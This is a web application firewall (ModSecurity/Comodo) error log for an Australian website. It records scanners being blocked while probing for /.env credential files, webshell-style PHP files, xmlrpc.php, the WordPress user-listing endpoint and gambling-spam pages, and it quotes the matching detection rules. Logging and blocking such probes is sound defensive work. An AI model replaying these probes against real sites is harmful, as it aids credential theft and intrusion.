[Wed Mar 25 13:57:38.642206 2026] [:error] [pid 25967:tid 25976] [client 178.150.14.250:32882] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acN5Uvg8Qtq7ZM4mSFnGkAAAA0Q"]
[Wed Mar 25 13:57:41.231423 2026] [:error] [pid 26321:tid 26365] [client 178.150.14.250:32894] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acN5VfKO65qqGZCSPZr8PgAAAhg"]
[Wed Mar 25 13:57:43.839411 2026] [:error] [pid 25967:tid 25975] [client 178.150.14.250:32910] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acN5V_g8Qtq7ZM4mSFnGqQAAA0M"]
[Wed Mar 25 13:57:46.502166 2026] [:error] [pid 25967:tid 25988] [client 178.150.14.250:39744] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acN5Wvg8Qtq7ZM4mSFnGswAAA1A"]
[Wed Mar 25 13:57:48.973169 2026] [:error] [pid 47989:tid 47999] [client 178.150.14.250:39758] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acN5XCWKdJMhIccROjkvGAAAAUg"]
[Wed Mar 25 13:57:51.545254 2026] [:error] [pid 25967:tid 25976] [client 178.150.14.250:39760] [client 178.150.14.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acN5X_g8Qtq7ZM4mSFnGxQAAA0Q"]
[Wed Mar 25 14:51:54.989848 2026] [:error] [pid 25967:tid 25981] [client 43.166.224.244:58110] [client 43.166.224.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acOGCvg8Qtq7ZM4mSFnkDQAAA0k"]
[Wed Mar 25 19:25:39.839000 2026] [:error] [pid 47989:tid 48006] [client 182.44.8.254:57976] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acPGMyWKdJMhIccROjnWlQAAAU8"]
[Wed Mar 25 21:17:52.415633 2026] [:error] [pid 25875:tid 25890] [client 20.251.61.72:44342] [client 20.251.61.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPggBJ38QkS3NyfshwkZAAAAok"]
[Thu Mar 26 00:10:16.721114 2026] [:error] [pid 25875:tid 25888] [client 49.51.39.209:56508] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acQI6BJ38QkS3NyfshxrDgAAAoc"]
[Thu Mar 26 01:57:50.405735 2026] [:error] [pid 55733:tid 55756] [client 34.11.0.171:50739] [client 34.11.0.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.0.171, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acQiHqMzUauzYCgMHcnhygAAAIk"]
[Thu Mar 26 01:57:54.387347 2026] [:error] [pid 55733:tid 55762] [client 34.11.0.171:50739] [client 34.11.0.171] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "acQiIqMzUauzYCgMHcnh1gAAAI8"]
[Thu Mar 26 01:57:56.986519 2026] [:error] [pid 55733:tid 55755] [client 34.11.0.171:50739] [client 34.11.0.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.0.171, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acQiJKMzUauzYCgMHcnh3AAAAIg"]
[Thu Mar 26 03:10:48.492541 2026] [:error] [pid 32829:tid 32842] [client 111.172.249.49:48589] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acQzOHFEeazI9mYaKswQYgAAAEs"]
[Thu Mar 26 04:28:08.570573 2026] [:error] [pid 19712:tid 19786] [client 43.153.12.58:48426] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acRFWNWhKhRNqm23vFOPZAAAAIo"]
[Thu Mar 26 06:31:55.900369 2026] [:error] [pid 60829:tid 60841] [client 116.240.149.7:64062] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acRiW_TdjHKeZokybaT65QAAAQo"]
[Thu Mar 26 06:32:07.135606 2026] [:error] [pid 19711:tid 19761] [client 116.240.149.7:59563] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acRiZ2j3l1y81GYfluQugAAAAEw"]
[Thu Mar 26 06:32:21.143504 2026] [:error] [pid 60829:tid 60852] [client 116.240.149.7:60353] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acRidfTdjHKeZokybaT7QAAAARU"]
[Thu Mar 26 06:32:33.549304 2026] [:error] [pid 60829:tid 60842] [client 116.240.149.7:62852] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acRigfTdjHKeZokybaT7cAAAAQs"]
[Thu Mar 26 06:32:44.807480 2026] [:error] [pid 19712:tid 19790] [client 116.240.149.7:63427] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acRijNWhKhRNqm23vFPFhQAAAI4"]
[Thu Mar 26 06:33:59.742336 2026] [:error] [pid 19818:tid 19844] [client 116.240.149.7:60410] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acRi18zaSnm3d1BeM5VtIAAAANg"]
[Thu Mar 26 06:34:10.045145 2026] [:error] [pid 19818:tid 19826] [client 116.240.149.7:62970] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acRi4szaSnm3d1BeM5VtSgAAAMY"]
[Thu Mar 26 06:34:20.141313 2026] [:error] [pid 19712:tid 19795] [client 116.240.149.7:64756] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acRi7NWhKhRNqm23vFPGzwAAAJM"]
[Thu Mar 26 06:34:30.424622 2026] [:error] [pid 19818:tid 19821] [client 116.240.149.7:59634] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acRi9szaSnm3d1BeM5VtmwAAAME"]
[Thu Mar 26 06:34:35.186387 2026] [:error] [pid 19712:tid 19793] [client 116.240.149.7:63232] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acRi-9WhKhRNqm23vFPG8gAAAJE"]
[Thu Mar 26 06:34:46.002956 2026] [:error] [pid 19711:tid 19754] [client 116.240.149.7:59645] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acRjBmj3l1y81GYfluQwMgAAAEU"]
[Thu Mar 26 06:35:54.695315 2026] [:error] [pid 19711:tid 19752] [client 116.240.149.7:62308] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acRjSmj3l1y81GYfluQwlwAAAEM"]
[Thu Mar 26 06:35:58.527551 2026] [:error] [pid 60829:tid 60832] [client 116.240.149.7:62699] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acRjTvTdjHKeZokybaQAOwAAAQE"]
[Thu Mar 26 06:36:08.956529 2026] [:error] [pid 60829:tid 60840] [client 116.240.149.7:62527] [client 116.240.149.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acRjWPTdjHKeZokybaQAbwAAAQk"]
[Thu Mar 26 07:12:52.238461 2026] [:error] [pid 19818:tid 19823] [client 192.3.207.218:56724] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/artisan"] [unique_id "acRr9MzaSnm3d1BeM5WNagAAAMM"]
[Thu Mar 26 07:12:52.664961 2026] [:error] [pid 19712:tid 19782] [client 192.3.207.218:57237] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/artisan"] [unique_id "acRr9NWhKhRNqm23vFPeAQAAAIY"]
[Thu Mar 26 07:12:53.898566 2026] [:error] [pid 19711:tid 19754] [client 192.3.207.218:57715] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/artisan"] [unique_id "acRr9Wj3l1y81GYfluRJhQAAAEU"]
[Thu Mar 26 07:12:54.321033 2026] [:error] [pid 19710:tid 19733] [client 192.3.207.218:58407] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/artisan"] [unique_id "acRr9gVEWP8Ar68Njk6pCgAAAAs"]
[Thu Mar 26 07:12:55.167769 2026] [:error] [pid 19711:tid 19750] [client 192.3.207.218:58725] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "acRr92j3l1y81GYfluRJqwAAAEE"]
[Thu Mar 26 07:12:55.592930 2026] [:error] [pid 19712:tid 19782] [client 192.3.207.218:59573] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "acRr99WhKhRNqm23vFPedAAAAIY"]
[Thu Mar 26 07:12:56.478013 2026] [:error] [pid 31778:tid 31813] [client 192.3.207.218:60048] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "acRr-A3kybI2o-xasmA3LQAAAdQ"]
[Thu Mar 26 07:41:24.707751 2026] [:error] [pid 31780:tid 31844] [client 132.164.249.185:20690] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acRypJJDwZsy5O4ZXEiq7gAAAhc"]
[Thu Mar 26 07:41:25.226378 2026] [:error] [pid 31670:tid 31692] [client 132.164.249.185:20611] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acRypTXVthXxCnWjOTRBwQAAAVQ"]
[Thu Mar 26 07:41:25.749470 2026] [:error] [pid 31670:tid 31696] [client 132.164.249.185:20727] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acRypTXVthXxCnWjOTRBwgAAAVg"]
[Thu Mar 26 07:41:26.270991 2026] [:error] [pid 31670:tid 31674] [client 132.164.249.185:20704] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acRypjXVthXxCnWjOTRBxQAAAUI"]
[Thu Mar 26 07:41:26.821157 2026] [:error] [pid 31670:tid 31675] [client 132.164.249.185:20702] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acRypjXVthXxCnWjOTRBygAAAUM"]
[Thu Mar 26 07:41:28.288581 2026] [:error] [pid 31778:tid 31803] [client 132.164.249.185:20638] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acRyqA3kybI2o-xasmBDdQAAAco"]
[Thu Mar 26 07:41:28.789326 2026] [:error] [pid 31670:tid 31677] [client 132.164.249.185:20697] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acRyqDXVthXxCnWjOTRBzQAAAUU"]
[Thu Mar 26 07:41:29.305865 2026] [:error] [pid 31778:tid 31812] [client 132.164.249.185:20639] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "acRyqQ3kybI2o-xasmBDdgAAAdM"]
[Thu Mar 26 07:41:29.860930 2026] [:error] [pid 31778:tid 31815] [client 132.164.249.185:20618] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acRyqQ3kybI2o-xasmBDdwAAAdY"]
[Thu Mar 26 07:41:30.456832 2026] [:error] [pid 31670:tid 31688] [client 132.164.249.185:20608] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acRyqjXVthXxCnWjOTRB2QAAAVA"]
[Thu Mar 26 07:41:31.020047 2026] [:error] [pid 19818:tid 19844] [client 132.164.249.185:20735] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acRyq8zaSnm3d1BeM5WScQAAANg"]
[Thu Mar 26 07:41:31.526211 2026] [:error] [pid 31780:tid 31829] [client 132.164.249.185:20621] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "acRyq5JDwZsy5O4ZXEiq9QAAAgg"]
[Thu Mar 26 07:41:32.060027 2026] [:error] [pid 31780:tid 31833] [client 132.164.249.185:20686] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acRyrJJDwZsy5O4ZXEiq-gAAAgw"]
[Thu Mar 26 07:41:32.597443 2026] [:error] [pid 31780:tid 31822] [client 132.164.249.185:20623] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acRyrJJDwZsy5O4ZXEiq_gAAAgI"]
[Thu Mar 26 07:41:33.251521 2026] [:error] [pid 31780:tid 31842] [client 132.164.249.185:20687] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acRyrZJDwZsy5O4ZXEirAwAAAhU"]
[Thu Mar 26 07:41:33.777109 2026] [:error] [pid 31670:tid 31689] [client 132.164.249.185:20714] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "acRyrTXVthXxCnWjOTRB4AAAAVE"]
[Thu Mar 26 07:41:34.310882 2026] [:error] [pid 19711:tid 19766] [client 132.164.249.185:20710] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acRyrmj3l1y81GYfluRNDAAAAFE"]
[Thu Mar 26 07:41:34.834703 2026] [:error] [pid 31780:tid 31822] [client 132.164.249.185:20728] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uuu.php"] [unique_id "acRyrpJDwZsy5O4ZXEirCQAAAgI"]
